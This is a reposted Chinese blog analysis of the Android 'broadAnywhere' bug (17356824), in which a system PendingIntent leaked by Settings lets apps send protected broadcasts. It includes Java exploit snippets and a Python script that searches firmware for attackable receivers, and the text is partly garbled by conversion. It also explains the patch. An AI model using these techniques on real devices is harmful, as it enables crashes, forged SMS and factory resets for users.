原创内容,转载请注明出处 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html

Lolipop源代码已经放出有些日子了。我发现google在5.0上修复了一个高危漏洞,利用该漏洞能够发送随意广播:不仅能够发送系统保护级别的广播、还能够无视receiver的android:exported=false、android:permisson=XXX 属性的限制。简直就是LaunchAnywhere[1] 漏洞的broadcast版本号,所以就称它是broadAnywhere吧。这个漏洞在5.0下面的系统上通杀,影响还是非常大的。

一、先看补丁

通过补丁[2]能够看到漏洞发生在src/com/android/settings/accounts/AddAccountSettings.java 的 addAccount 函数中。

这回这个漏洞出如今Settings加入账户的时候。

使用AccountManager加入账户的流程例如以下图:

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvYW5kcm9pZHNlY3VyaXR5/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" />

关于AccountManagerService的流程机制请參考LaunchAnywhere漏洞的分析[1],本篇就不赘述了。

二、怎样利用

本次的漏洞就发生在流程图的Step1之前, Setting调用了AccountManager.addAccount。

在传递的AddAccountOptions參数时加入了一个PendingIntent。其intent类型是Broadcast。

注意这个PendingIntent是Settings创建的,拥有system权限。

1
2
3
4
5
6
private void addAccount(String accountType) {
    Bundle addAccountOptions = new Bundle();
    mPendingIntent = PendingIntent.getBroadcast(this0new Intent(), 0);
    addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
    addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
    AccountManager.get(this).addAccount(

AppB会在step3的时候取到了AddAccountOptions參数。从中获得了这个PendingIntent。而且能够利用它以system的身份发送广播。演示样例代码例如以下:

1
2
3
4
5
6
7
8
PendingIntent pending_intent = (PendingIntent)options.get("pendingIntent");
intent.setAction("android.intent.action.BOOT_COMPLETED");
 
try {
         pending_intent.send(getGlobalApplicationContext(),0,intent,null,null,null);
catch (CanceledException e) {
         e.printStackTrace();
}

以System身份能够发送系统级的广播protected-broadcast,同一时候还能够将广播发送给未导出的receiver(android:exported=false)和有权限限制的receiver。

三、原理分析

回过头再看一下Settings是怎样创建PendingIntent的:

1
mPendingIntent = PendingIntent.getBroadcast(this0new Intent(), 0);

Settings本身是一个高权限进程,它将自己的PendingIntent传给不可信的第三方程序是不安全的。

因为Settings初始化PendingIntent的时候传入的是一个没有内容的new Intent(),所以攻击者在调用PendingIntent.send( )的时候能够随意设置Intent中的大部分内容。这是因为在系统源代码中PendingIntentRecord.sendInner 调用了finalIntent.fillIn(intent, key.flags);,同意调用者填充Intent的值。

PendingIntentRecord.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
196    int sendInner(int code, Intent intent, String resolvedType,
197            IIntentReceiver finishedReceiver, String requiredPermission,
198            IBinder resultTo, String resultWho, int requestCode,
199            int flagsMask, int flagsValues, Bundle options) {
200        synchronized(owner) {
201            if (!canceled) {
202                sent = true;
203                if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {
204                    owner.cancelIntentSenderLocked(thistrue);
205                    canceled = true;
206                }
207                Intent finalIntent = key.requestIntent != null
208                        ?

new Intent(key.requestIntent) : new Intent();

209                if (intent != null) {
210                    int changes = finalIntent.fillIn(intent, key.flags);

四、漏洞危害和应用场景

这个漏洞在安卓5.0下面通杀,能够觉得该漏洞影响眼下99.9%的安卓手机。

利用这个漏洞能够攻击绝大多数broadcast receiver。

因为Intent.fillIn这个函数要求component必须显式填充[3]。我们不能发送指定component的intent的。

可是能够通过指定intent的action已经能够攻击大多数receiver了。

所以这个漏洞也是有非常大利用空间的。下面举几个样例

1.       发送android.intent.action.BOOT_COMPLETED广播,这是一个系统保护的广播action。发送这个广播将导致system_server直接崩溃,造成本地DoS攻击。

2.       4.4上发送android.provider.Telephony.SMS_DELIVER能够伪造接收短信。

3.       发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置。

上述提到的几种利用方法已经开源:

https://github.com/retme7/broadAnyWhere_poc_by_retme_bug_17356824

伪造短信演示视频:

对于厂商定制固件来说,还可能有很多其它的利用方法。通过搜索系统应用的receiver。能够找到很多其它可攻击的receiver,搜索方法能够參考下面代码(python):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_receiver(self):
 
        xmltag = self.manifest.getElementsByTagName('protected-broadcast')
        if len(xmltag) != 0:   
                  
                logByThread( self.__apk_obj.get_filename())
                logByThread( 'protected-broadcast')
                for in xmltag:
                        logByThread(  x.getAttribute("android:name"))
         
        xmltag = self.manifest.getElementsByTagName('receiver')
        if len(xmltag) != 0:
                logByThread( self.__apk_obj.get_filename())
                logByThread( 'reciever-with-permission')
                for in xmltag:
                        if x.hasAttribute("android:permission"or (x.hasAttribute("android:exported"andx.getAttribute("android:exported").find("false")!=-1):
                                if len(x.getElementsByTagName("intent-filter")) !=0:
                                        logByThread( x.toxml())
        return

五、漏洞修复

通过凝视知道这个PendingIntent是用来告诉第三方应用,发起addAccount的应用是Settings。

这里事实上这不是必需用PendingIntent。只是出于历史原因,这个接口还得继续支持下去。

所以这个漏洞的修复就仅仅是简单地将PendingIntent所关联的Intent中的component、action、action中初始化了一个无意义的值。这样一来AppB也就不能够借助Intent.fillin()对intent的值进行二次填充了。

1
2
3
+        identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
+        identityIntent.setAction(SHOULD_NOT_RESOLVE);
+        identityIntent.addCategory(SHOULD_NOT_RESOLVE);

六 安全建议

开发人员:

尽量不要使用receiver来作为敏感功能的调用接口,即便这个receiver是未导出、有权限控制的。

手机厂商:

尽快将固件升级到Android Lolipop。或者參照链接[2]推送安全更新补丁。

[1] http://retme.net/index.php/2014/08/20/launchAnyWhere.html

[2] https://android.googlesource.com/platform/packages/apps/Settings/+/37b58a4%5E%21/#F0

[3] http://androidxref.com/4.4.4_r1/xref/frameworks/base/core/java/android/content/Intent.java#6516

broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)的更多相关文章

  1. Android电话拨打权限绕过漏洞(CVE-2013-6272)分析

    原文:http://blogs.360.cn/360mobile/2014/07/08/cve-2013-6272/ 1. CVE-2013-6272漏洞背景 CVE-2013-6272是一个安卓平台 ...

  2. Python 实现 Discuz论坛附件下载权限绕过漏洞

    背景:最近压力有些大,想玩点游戏放松下,去Mac论坛下载,发现需要各种权限,于是蛋疼了. 所以,上网查了discuz! x3.1破解,手动替换,发现出现“链接已过期”.所以写了下面程序. 0.将下列代 ...

  3. linux sudo root 权限绕过漏洞(CVE-2019-14287)

    0x01 逛圈子社区论坛 看到了 linux sudo root 权限绕过漏洞(CVE-2019-14287) 跟着复现下 综合来说 这个漏洞作用不大  需要以下几个前提条件 1.知道当前普通用户的密 ...

  4. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现

    couchdb简介: Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”.它是一个使用JSON作为数据存储格式,javascript作为查询语言,M ...

  5. CVE-2017-12635(Couchdb垂直权限绕过漏洞)

    简介 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapRedu ...

  6. PJzhang:CVE-2019-14287 sudo权限绕过漏洞复现

    猫宁!!! 参考链接:Ms08067实验室公众号 sudo 1.8.28版本之前有漏洞. 更新完kali linux,deepin截图工具失效,只能用自带的,不能划重点. 看一下sudo版本,1.8. ...

  7. SaltStack 水平权限绕过漏洞(CVE-2020-11651)

    影响版本 SaltStack < 2019.2.4 SaltStack < 3000.2 poc git clone https://github.com/jasperla/CVE-202 ...

  8. Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

    影响版本:小于 1.7.0 以及 小于 2.1.1 首先,发送如下数据包: 修改数据包 { "type": "user", "name": ...

  9. Linux sudo权限绕过(CVE-2019-14287)

    2019年10月14日,Sudo官方发布了Sudo 1.8.28版本,其中包含sudo root权限绕过漏洞的补丁修复. 此漏洞编号是CVE-2019-14287,当sudo配置为允许用户以任意方式运 ...

随机推荐

  1. IIS7配置PHP图解

    IIS6整合PHP详解:http://zhidao.zgsj.com/article/8/2011118142648.shtml PHP5.2.17 官方下载: http://windows.php. ...

  2. Web前端--黑客技术揭秘(菜鸟知识)

    一,Web安全的关键点 1.同源策略是众多安全策略的一个,是Web层面上的策略.很重要. 2.同源策略规定:不同域的client脚本在没明白授权的情况下.不能读写对方的资源. 3.同域要求两个网站同协 ...

  3. js中json法创建对象(json里面的:相当于js里面的=)

    js中json法创建对象(json里面的:相当于js里面的=) 一.总结 json里面的:相当于js里面的= 4.json创建js对象解决命名冲突:多个人为同一个页面写js的话,命名冲突就有可能发生, ...

  4. gdb常用调试命令以及多线程堆栈的查看

    GDB是GNU开源组织发布的一个强大的UNIX下的程序调试工具.或许,各位比较喜欢那种图形界面方式的,像VC.BCB等IDE的调试,但如果你是在UNIX平台下做软件,你会发现GDB这个调试工具有比VC ...

  5. 并发队列ConcurrentLinkedQueue 和 阻塞队列LinkedBlockingQueue用法

    在Java多线程应用中,队列的使用率很高,多数生产消费模型的首选数据结构就是队列(先进先出).Java提供的线程安全的Queue可以分为阻塞队列和非阻塞队列,其中阻塞队列的典型例子是BlockingQ ...

  6. Android 控件EditText的setOnEditorActionListener方法的理解

    需要注意的是 setOnEditorActionListener这个方法,并不是在我们点击EditText的时候触发,也不是在我们对EditText进行编辑时触发,而是在我们编辑完之后点击软键盘上的回 ...

  7. 编译Android下可用的FFmpeg+x264

    编译Android下可用的FFmpeg+x264 编译x264: 下载最新版的x264 ftp://ftp.videolan.org/pub/videolan/x264/snapshots/ 1.解压 ...

  8. Volley框架源代码分析

    Volley框架分析Github链接 Volley框架分析 Volley源代码解析 为了学习Volley的网络框架,我在AS中将Volley代码又一次撸了一遍,感觉这样的照抄代码也是一种挺好的学习方式 ...

  9. nginx源代码分析--ngx_http_optimize_servers()函数

    这个函数做了连部分工作:1)以port为入口点 将实用的信息存放到hash表内 2)调用ngx_http_init_listening()函数 对port进行监听 1. 在ngx_http_core_ ...

  10. Android JNI编程(四)——C语言多级指针、数组取值、从控制台输入数组

    版权声明:本文出自阿钟的博客,转载请注明出处:http://blog.csdn.net/a_zhon/. 目录(?)[+] 一:前面我们介绍了一级指针的相关概念和用发,今天我们就来说一说多级指针. 1 ...